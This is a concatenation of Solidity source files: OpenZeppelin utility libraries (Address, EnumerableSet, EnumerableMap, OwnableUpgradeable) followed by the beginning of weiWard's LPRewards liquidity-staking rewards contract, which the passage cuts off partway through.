* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
/**
* Based on https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/v3.4.0-solc-0.7/contracts/access/OwnableUpgradeable.sol
*
* Changes:
* - Added owner argument to initializer
* - Reformatted styling in line with this repository.
*/
/*
The MIT License (MIT)
Copyright (c) 2016-2020 zOS Global Limited
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/* solhint-disable func-name-mixedcase */
pragma solidity 0.7.6;
import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init(address owner_) internal initializer {
__Context_init_unchained();
__Ownable_init_unchained(owner_);
}
function __Ownable_init_unchained(address owner_) internal initializer {
_owner = owner_;
emit OwnershipTransferred(address(0), owner_);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
/**
* Based on https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.3.0-solc-0.7/contracts/utils/EnumerableMap.sol
*
* Changes:
* - Replaced UintToAddressMap with AddressToUintMap
* - Reformatted styling in line with this repository.
*/
/*
The MIT License (MIT)
Copyright (c) 2016-2020 zOS Global Limited
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
pragma solidity 0.7.6;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(
Map storage map,
bytes32 key,
bytes32 value
) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
// Equivalent to !contains(map, key)
if (keyIndex == 0) {
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
// Equivalent to contains(map, key)
if (keyIndex != 0) {
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key)
private
view
returns (bool)
{
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index)
private
view
returns (bytes32, bytes32)
{
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
return _get(map, key, "EnumerableMap: nonexistent key");
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*/
function _get(
Map storage map,
bytes32 key,
string memory errorMessage
) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// AddressToUintMap
struct AddressToUintMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(
AddressToUintMap storage map,
address key,
uint256 value
) internal returns (bool) {
return _set(map._inner, bytes32(uint256(key)), bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(AddressToUintMap storage map, address key)
internal
returns (bool)
{
return _remove(map._inner, bytes32(uint256(key)));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(AddressToUintMap storage map, address key)
internal
view
returns (bool)
{
return _contains(map._inner, bytes32(uint256(key)));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(AddressToUintMap storage map)
internal
view
returns (uint256)
{
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressToUintMap storage map, uint256 index)
internal
view
returns (address, uint256)
{
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (address(uint256(key)), uint256(value));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(AddressToUintMap storage map, address key)
internal
view
returns (uint256)
{
return uint256(_get(map._inner, bytes32(uint256(key))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*/
function get(
AddressToUintMap storage map,
address key,
string memory errorMessage
) internal view returns (uint256) {
return uint256(_get(map._inner, bytes32(uint256(key)), errorMessage));
}
}
// SPDX-License-Identifier: Apache-2.0
/**
* Copyright 2021 weiWard LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity 0.7.6;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./LPRewardsData.sol";
import "../../libraries/EnumerableMap.sol";
import "../interfaces/ILPRewards.sol";
import "../interfaces/IValuePerToken.sol";
import "../../tokens/interfaces/IWETH.sol";
import "../../access/OwnableUpgradeable.sol";
contract LPRewards is
Initializable,
ContextUpgradeable,
OwnableUpgradeable,
PausableUpgradeable,
LPRewardsData,
ILPRewards
{
using Address for address payable;
using EnumerableMap for EnumerableMap.AddressToUintMap;
using EnumerableSet for EnumerableSet.AddressSet;
using SafeERC20 for IERC20;
using SafeMath for uint256;
/* Immutable Internal State */
uint256 internal constant _MULTIPLIER = 1e36;
/* Constructor */
constructor(address owner_) {
init(owner_);
}
/* Initializers */
function init(address owner_) public virtual initializer {
__Context_init_unchained();
__Ownable_init_unchained(owner_);
__Pausable_init_unchained();
}
/* Fallbacks */
receive() external payable {
// Only accept ETH via fallback from the WETH contract
require(msg.sender == _rewardsToken);
}
/* Modifiers */
modifier supportsToken(address token) {
require(supportsStakingToken(token), "LPRewards: unsupported token");
_;
}
/* Public Views */
function accruedRewardsPerTokenFor(address token)
public
view
virtual
override
returns (uint256)
{
return _tokenData[token].arpt;
}
function accruedRewardsPerTokenLastFor(address account, address token)
public
view
virtual
override
returns (uint256)
{
return _users[account].rewardsFor[token].arptLast;
}
function lastRewardsBalanceOf(address account)
public
view
virtual
override
returns (uint256 total)
{
UserData storage user = _users[account];
EnumerableSet.AddressSet storage tokens = user.tokensWithRewards;
for (uint256 i = 0; i < tokens.length(); i++) {
total += user.rewardsFor[tokens.at(i)].pending;
}
}
function lastRewardsBalanceOfFor(address account, address token)
public
view
virtual
override
returns (uint256)
{
return _users[account].rewardsFor[token].pending;
}
function lastTotalRewardsAccrued()
external
view
virtual
override
returns (uint256)
{
return _lastTotalRewardsAccrued;
}
function lastTotalRewardsAccruedFor(address token)
external
view
virtual
override
returns (uint256)
{
return _tokenData[token].lastRewardsAccrued;
}
function numStakingTokens()
external
view
virtual
override
returns (uint256)
{
return _tokens.length();
}
function rewardsBalanceOf(address account)
external
view
virtual
override
returns (uint256)
{
return lastRewardsBalanceOf(account) + _allPendingRewardsFor(account);
}
function rewardsBalanceOfFor(address account, address token)
external
view
virtual
override
returns (uint256)
{
uint256 rewards = lastRewardsBalanceOfFor(account, token);
uint256 amountStaked = stakedBalanceOf(account, token);
if (amountStaked != 0) {
rewards += _pendingRewardsFor(account, token, amountStaked);
}
return rewards;
}
function rewardsForToken(address token)
external
view
virtual
override
returns (uint256)
{
return _tokenData[token].rewards;
}
function rewardsToken() public view virtual override returns (address) {
return _rewardsToken;
}
function sharesFor(address account, address token)
external
view
virtual
override
returns (uint256)
{
return _shares(token, stakedBalanceOf(account, token));
}
function sharesPerToken(address token)
external
view
virtual
override
returns (uint256)
{
return _shares(token, 1e18);
}
function stakedBalanceOf(address account, address token)
public
view
virtual
override
returns (uint256)
{
EnumerableMap.AddressToUintMap storage staked = _users[account].staked;
if (staked.contains(token)) {
return staked.get(token);
}
return 0;
}
function stakingTokenAt(uint256 index)
external
view
virtual
override
returns (address)
{
return _tokens.at(index);
}
function supportsStakingToken(address token)
public
view
virtual
override
returns (bool)
{
return _tokens.contains(token);
}
function totalRewardsAccrued()
public
view
virtual
override
returns (uint256)
{
// Overflow is OK
return _currentRewardsBalance() + _totalRewardsRedeemed;
}
function totalRewardsAccruedFor(address token)
public
view
virtual
override
returns (uint256)
{
TokenData storage td = _tokenData[token];
// Overflow is OK
return td.rewards + td.rewardsRedeemed;
}
function totalRewardsRedeemed()
external
view
virtual
override
returns (uint256)
{
return _totalRewardsRedeemed;
}
function totalRewardsRedeemedFor(address token)
external
view
virtual
override
returns (uint256)
{
return _tokenData[token].rewardsRedeemed;
}
function totalShares()
external
view
virtual
override
returns (uint256 total)
{
for (uint256 i = 0; i < _tokens.length(); i++) {
total = total.add(_totalSharesForToken(_tokens.at(i)));
}
}
function totalSharesFor(address account)
external
view
virtual
override
returns (uint256 total)
{
EnumerableMap.AddressToUintMap storage staked = _users[account].staked;
for (uint256 i = 0; i < staked.length(); i++) {
(address token, uint256 amount) = staked.at(i);
total = total.add(_shares(token, amount));
}
}
function totalSharesForToken(address token)
external
view
virtual
override
returns (uint256)
{
return _totalSharesForToken(token);
}
function totalStaked(address token)
public
view
virtual
override
returns (uint256)
{
return _tokenData[token].totalStaked;
}
function unredeemableRewards()
external
view
virtual
override
returns (uint256)
{
return _unredeemableRewards;
}
function valuePerTokenImpl(address token)
public
view
virtual
override
returns (address)
{
return _tokenData[token].valueImpl;
}
/* Public Mutators */
function addToken(address token, address tokenValueImpl)
external
virtual
override
onlyOwner
{
require(!supportsStakingToken(token), "LPRewards: token already added");
require(
tokenValueImpl != address(0),
"LPRewards: tokenValueImpl cannot be zero address"
);
_tokens.add(token);
// Only update implementation in case this was previously used and removed
_tokenData[token].valueImpl = tokenValueImpl;
emit TokenAdded(_msgSender(), token, tokenValueImpl);
}
function changeTokenValueImpl(address token, address tokenValueImpl)
external
virtual
override
onlyOwner
supportsToken(token)
{
require(
tokenValueImpl != address(0),
"LPRewards: tokenValueImpl cannot be zero address"
);
_tokenData[token].valueImpl = tokenValueImpl;
emit TokenValueImplChanged(_msgSender(), token, tokenValueImpl);
}
function exit(bool asWETH) external virtual override {
unstakeAll();
redeemAllRewards(asWETH);
}
function exitFrom(address token, bool asWETH) external virtual override {
unstakeAllFrom(token);
redeemAllRewardsFrom(token, asWETH);
}
function pause() external virtual override onlyOwner {
_pause();
}
function recoverUnredeemableRewards(address to, uint256 amount)
external
virtual
override
onlyOwner
{
require(
amount <= _unredeemableRewards,
"LPRewards: recovery amount > unredeemable"
);
_unredeemableRewards -= amount;
IERC20(_rewardsToken).safeTransfer(to, amount);
emit RecoveredUnredeemableRewards(_msgSender(), to, amount);
}
function recoverUnstaked(
address token,
address to,
uint256 amount
) external virtual override onlyOwner {
require(token != _rewardsToken, "LPRewards: cannot recover rewardsToken");
uint256 unstaked =
IERC20(token).balanceOf(address(this)).sub(totalStaked(token));
require(amount <= unstaked, "LPRewards: recovery amount > unstaked");
IERC20(token).safeTransfer(to, amount);
emit RecoveredUnstaked(_msgSender(), token, to, amount);
}
function redeemAllRewards(bool asWETH) public virtual override {
address account = _msgSender();
_updateAllRewardsFor(account);
UserData storage user = _users[account];
EnumerableSet.AddressSet storage tokens = user.tokensWithRewards;
uint256 redemption = 0;
for (uint256 length = tokens.length(); length > 0; length--) {
address token = tokens.at(0);
TokenData storage td = _tokenData[token];
UserTokenRewards storage rewards = user.rewardsFor[token];
uint256 pending = rewards.pending; // Save gas
redemption += pending;
rewards.pending = 0;
td.rewards = td.rewards.sub(pending);
td.rewardsRedeemed += pending;
emit RewardPaid(account, token, pending);
tokens.remove(token);
}
_totalRewardsRedeemed += redemption;
_sendRewards(account, redemption, asWETH);
}
function redeemAllRewardsFrom(address token, bool asWETH)
public
virtual
override
{
address account = _msgSender();
_updateRewardFor(account, token);
uint256 pending = _users[account].rewardsFor[token].pending;
if (pending != 0) {
_redeemRewardFrom(token, pending, asWETH);
}
}
function redeemReward(uint256 amount, bool asWETH)
external
virtual
override
{
require(amount != 0, "LPRewards: cannot redeem zero");
address account = _msgSender();
_updateAllRewardsFor(account);
require(
amount <= lastRewardsBalanceOf(account),
"LPRewards: cannot redeem more rewards than earned"
);
UserData storage user = _users[account];
EnumerableSet.AddressSet storage tokens = user.tokensWithRewards;
uint256 amountLeft = amount;
for (uint256 length = tokens.length(); length > 0; length--) {
address token = tokens.at(0);
TokenData storage td = _tokenData[token];
UserTokenRewards storage rewards = user.rewardsFor[token];
uint256 pending = rewards.pending; // Save gas
uint256 taken = 0;
if (pending <= amountLeft) {
taken = pending;
tokens.remove(token);
} else {
taken = amountLeft;
}
rewards.pending = pending - taken;
td.rewards = td.rewards.sub(taken);
td.rewardsRedeemed += taken;
amountLeft -= taken;
emit RewardPaid(account, token, taken);
if (amountLeft == 0) {
break;
}
}
_totalRewardsRedeemed += amount;
_sendRewards(account, amount, asWETH);
}
function redeemRewardFrom(
address token,
uint256 amount,
bool asWETH
) external virtual override {
require(amount != 0, "LPRewards: cannot redeem zero");
address account = _msgSender();
_updateRewardFor(account, token);
require(
amount <= _users[account].rewardsFor[token].pending,
"LPRewards: cannot redeem more rewards than earned"
);
_redeemRewardFrom(token, amount, asWETH);
}
function removeToken(address token)
external
virtual
override
onlyOwner
